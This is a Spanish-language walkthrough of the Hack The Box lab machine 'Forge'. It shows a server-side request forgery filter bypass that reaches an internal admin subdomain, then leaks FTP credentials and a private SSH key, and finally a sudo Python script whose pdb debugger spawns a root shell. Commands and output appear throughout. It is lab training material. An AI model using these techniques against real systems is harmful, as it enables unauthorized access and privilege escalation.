En Forge encontramos una vulnerabilidad SSRF que nos permitió acceder por el servicio FTP donde encontramos una clave privada que nos dio acceso por SSH. Finalmente escalamos privilegios tras la ejecución de un script de python que utiliza PDB, haciendo que este genére un error para obtener una shell como root.
Nombre |
Forge |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.11.111 |
Maker |
NoobHacker9999 |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.7, 4.8, 4.5, 5.5, 5.2],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[4, 3, 3, 7, 7],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
Nmap
Escaneo de puertos con nmap nos muestra el puerto http (80) y ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# Nmap 7.91 scan initiated Sat Sep 11 20:26:28 2021 as: nmap -p22,80 -sC -sV -o nmap_scan 10.10.11.111
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 11 20:26:40 2021 -- 1 IP address (1 host up) scanned in 11.53 seconds
|
Web Site
Vemos con curl que las solicitudes directas a la direccion IP redirigen hacia el dominio forge.htb
, por ello agregamos este ultimo al archivo /etc/hosts
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
➜ forge curl -s 10.10.11.111
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://forge.htb">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.111 Port 80</address>
</body></html>
➜ forge curl -sI 10.10.11.111
HTTP/1.1 302 Found
Date: Sat, 11 Sep 2021 22:02:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://forge.htb
Content-Type: text/html; charset=iso-8859-1
➜ forge
|
En el dominio se muestra unicamente una galeria de imagenes en la pagina de inicio.
Vemos un formulario para subir imagenes en Upload an image, donde se muestran dos opciones, subir archivos locales o subir archivos desde una url.
El codigo fuente de main.js
muestra los formularios para ambas opciones.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
function show_upload_local_file(argument) {
var form_div = document.getElementById('form-div');
form_div.innerHTML = `
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" class="file">
<input name="local" type="hidden" value='1'>
<br>
<br>
<button id="submit-local" type="submit" class="submit">Submit</button>
</form>
`;
}
function show_upload_remote_file(argument) {
var form_div = document.getElementById('form-div');
form_div.innerHTML = `
<br><br>
<form action="/upload" method="POST" enctype="application/x-www-form-urlencoded" >
<input type="textbox" name="url" class="textbox">
<input name="remote" type="hidden" value='1'>
<br>
<br>
<button id="submit-remote" type="submit" class="submit">Submit</button>
</form>
`;
}
|
Directory Brute Forcing
Realizamos una enumeracion al sitio web utilizando feroxbuster, vemos la carpeta “uploads” donde probablemente se guarden los archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
➜ forge feroxbuster -u http://forge.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://forge.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 4l 24w 224c http://forge.htb/uploads
301 9l 28w 307c http://forge.htb/static
200 33l 58w 929c http://forge.htb/upload
301 9l 28w 314c http://forge.htb/static/images
301 9l 28w 310c http://forge.htb/static/js
403 9l 28w 274c http://forge.htb/server-status
|
Upload Image
Utilizamos netcat en el puerto 80 para ver que tipo de informacion obteniamos del servidor, enviando como archivo nuestra direccion IP. De lado de netcat vemos en User-Agent que es una solicitud hecha por medio de la libreria requests de Python.
1
2
3
4
5
6
7
8
9
|
➜ ~ nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.20] from forge.htb [10.10.11.111] 42642
GET /batman.x HTTP/1.1
Host: 10.10.14.20
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
|
Por otro lado vemos un error en la pagina, donde vemos la clase HTTPConnectionPool perteneciente a urllib3.
Además al enviar una solicitud con nuestra direccion IP, se genera una direccion URL.
Al visitar esta direccion se muestra el contenido de la solicitud, más no se renderiza (a excepcion de imagenes) o ejecuta ningun tipo de archivo, además es una direccion aparentemente temporal, ya que al visitar la direccion nuevamente el contenido ya no existe.
Tambien vemos que las direcciones IP local o al dominio forge.htb estan restringidas.
Subdomains
Utilizamos ffuf para enumerar subdominios, vemos que existe admin.forge.htb
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
➜ forge ffuf -w /usr/share/wordlists/dirb/common.txt -mc 200 -u http://FUZZ.forge.htb
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://FUZZ.forge.htb
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
admin [Status: 200, Size: 27, Words: 4, Lines: 2]
ADMIN [Status: 200, Size: 27, Words: 4, Lines: 2]
Admin [Status: 200, Size: 27, Words: 4, Lines: 2]
:: Progress: [4614/4614] :: Job [1/1] :: 5 req/sec :: Duration: [0:17:00] :: Errors: 4611 ::
|
Aunque al visitar esta direccion se muestra Only localhost is allowed!, utilizando diferentes headers para realizar “bypass” no permite el acceso.
SSRF
El formulario para subir imagenes tiene restringidas ciertas direcciones. Tras realizar distintas solicitudes y jugar con la url logramos obtener una respuesta que generó una url utilizando una letra mayuscula en la primera letra del dominio (admin.Forge.htb
).
La url generada muestra el contenido o el index.html del subdominio, donde vemos dos nuevas direcciones (/announcements
, /upload
).
En la direccion /announcements
vemos una lista de “caracteristicas” que perecen ser del subdominio. Se muestran credenciales para el servicio FTP, además la direccion /upload
soporta el protocolo ftp(s) y http(s) para subir imagenes que es posible subir imagenes pasando una url en: ?u=[url]
.
Anuncios:
- An internal ftp server has been setup with credentials as user:heightofsecurity123!
- The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
- The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.
FTP Listing
La funcionalidad descrita y las credenciales nuevas, nos permitieron acceder al servicio FTP con credenciales en la url lo que nos permitio listar la carpeta principal, donde vemos la flag user.txt
y la carpeta snap.
Segun el formato URL de FTP dice que al enviar una solicitud /%2Fetc/motd
el resultado es: acceder a /etc
y obtener el archivo motd
, de manera “similar” para //etc/motd
. Esto nos permitió obtener la lista de usuarios en /etc/passwd
.
Tambien descubrimos que la carpeta donde esta “configurado” el servicio FTP es en /home/user
donde encontramos la carpeta .ssh/
con la clave privada de este usuario.
User - Shell
Utilizamos la clave privada para acceder por SSH, logrando obtener la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
➜ forge vim user_id_rsa
➜ forge chmod 600 user_id_rsa
➜ forge ssh user@forge.htb -i user_id_rsa # user:heightofsecurity123!
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 13 Sep 2021 11:47:35 PM UTC
System load: 0.0
Usage of /: 43.6% of 6.82GB
Memory usage: 21%
Swap usage: 0%
Processes: 220
Users logged in: 0
IPv4 address for eth0: 10.10.11.111
IPv6 address for eth0: dead:beef::250:56ff:feb9:6db0
0 updates can be applied immediately.
Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$ whoami;id;pwd
user
uid=1000(user) gid=1000(user) groups=1000(user)
/home/user
user@forge:~$ ls
snap user.txt
user@forge:~$ cat user.txt
959589dbea8efb90d8f9d4c2c702c31d
user@forge:~$
|
Privesc
Tras ejecutar sudo -l -l
vemos que el usuario puede ejecutar el script remote-manage.py
.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
user@forge:~$ sudo -l -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
Sudoers entry:
RunAsUsers: ALL
RunAsGroups: ALL
Options: !authenticate
Commands:
/usr/bin/python3 /opt/remote-manage.py
|
Vemos que el script pone a la escucha un puerto random y realiza diferentes acciones o ejecuta comandos tras ingresar la contraseña que se muestra en el codigo. Tambien observamos que utiliza la libreria pdb
y, que, ante algun error entra en modo debugging y una shell interactiva pdb. Segun GTFOBins - PDB es posible ejecutar una shell (/bin/sh), para ello debemos de entrar en modo debugging generando algun tipo de error, en este caso vemos que obtiene un numero entero (int()
) en las opciones, tras ingresar algun caracter deberia generar el error.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
|
Tras ejecutar y conectarnos al puerto a la escucha ingresamos un texto lo que permitio que el script pasara a debugging y ejecutando /bin/sh obtener una shell como usuario root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:39646
invalid literal for int() with base 10: b'sckull'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) import os; os.system("/bin/sh")
# whoami
root
# cd /root
# ls
clean-uploads.sh root.txt snap
# cat root.txt
d6c1d34f7e87dae9027b5fe09661245d
# cat /home/user/user.txt
959589dbea8efb90d8f9d4c2c702c31d
#
|